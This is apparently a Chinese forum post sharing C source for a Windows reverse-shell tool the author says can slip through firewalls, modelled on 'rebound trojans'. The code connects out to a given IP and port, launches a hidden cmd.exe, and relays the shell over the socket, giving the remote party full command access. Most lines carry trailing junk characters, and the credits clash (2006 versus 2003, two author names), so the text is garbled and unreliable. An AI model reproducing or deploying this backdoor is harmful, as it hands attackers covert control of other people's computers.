这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;;9W/m~]
0?tn.<'B8T
/* ============================== 7eh<>X!TX
Rebound port in Windows NT ?5A!/`E&%
By wind,2006/7 ,&1DKx
===============================*/ 9bL`0L
#include /"Bm1
#include Nl3@i`;
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#pragma comment(lib,"wsock32.lib") =X0"!y"
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void OutputShell(); e*7nq~ B5
SOCKET sClient; lAxbF
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0
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void main(int argc,char **argv) kXmnLxhS/
{ SOq{`~,4B
WSADATA stWsaData; I?l%RdGW
int nRet; J 5Nz<
SOCKADDR_IN stSaiClient,stSaiServer; S+d@RMdes
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if(argc != 3) Vd-\_VP20
{ d Q5_=(9
printf("Useage:\n\rRebound DestIP DestPort\n"); }E\ b_.
return; /$
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} XQW+6LEQ
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WSAStartup(MAKEWORD(2,2),&stWsaData); oQ!56\R
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~JJuM
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stSaiClient.sin_family = AF_INET; _k0X)N+li
stSaiClient.sin_port = htons(0); cH&-/|N
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) PhHBmMGL
{ SD "'
printf("Bind Socket Failed!\n"); f__r" N
return; dPdodjSu,!
} /.'tfy$
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stSaiServer.sin_family = AF_INET; 8E m X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z$VA]tI(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yEnurq%J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) . C g2Y
{ 6^vMJ82U
printf("Connect Error!"); E^:8Jehq
return; 7r`A6 \
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} K8sgeX|
OutputShell(); Z'P>sV
} |mSF a8G@
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void OutputShell() ~w&P]L\dB
{ QEe\1>1"&
char szBuff[1024]; }=1#ANM1
SECURITY_ATTRIBUTES stSecurityAttributes; $*035f
OSVERSIONINFO stOsversionInfo; `CWI%V
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ue>;h9^
STARTUPINFO stStartupInfo; x<m{B@3T
char *szShell; =*VKp{5=
PROCESS_INFORMATION stProcessInformation; p[Pa(a,B7
unsigned long lBytesRead; N3D{t\hg
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X=i^[?C
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bbDl?m&bq
stSecurityAttributes.lpSecurityDescriptor = 0; 8i H'cX
stSecurityAttributes.bInheritHandle = TRUE; ax]Pa*C}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uM!$`JN
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wA+QUN3#n
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7oPLO(0L
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y#>'.$(Az
stStartupInfo.wShowWindow = SW_HIDE; #J1vN]g
stStartupInfo.hStdInput = hReadPipe; FKTdQg|NZ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1:7 uS.
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GetVersionEx(&stOsversionInfo); *SW.K{{
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switch(stOsversionInfo.dwPlatformId) K%Dksx7ow
{ 9n#Q1Xq
case 1: G~SgI>Q
szShell = "command.com"; [^rT: %Z
break; [0M2`x4`
default: 4fK(<2i
szShell = "cmd.exe"; y\=(;]S'
break; -8j<`(M'5
} Mw=sW5Z
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NQ7j{dJ?
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send(sClient,szMsg,77,0); ~FnB!Mh}?
while(1) v!\\aG/
{ 85>WK+=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i%1ny`Q
if(lBytesRead) aq'dC=y
{ LaI(
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /%E l0X
send(sClient,szBuff,lBytesRead,0); .T*K4m{b0
} X6+2~'*t
else 4 1w*<{Lk
{ r:[N#*kK
lBytesRead=recv(sClient,szBuff,1024,0); Gi7jgv{{
if(lBytesRead<=0) break; t7A '
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3~zK :(
} qTbY'V5A
} K"p$ga{
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return; @x9DV{j)V
}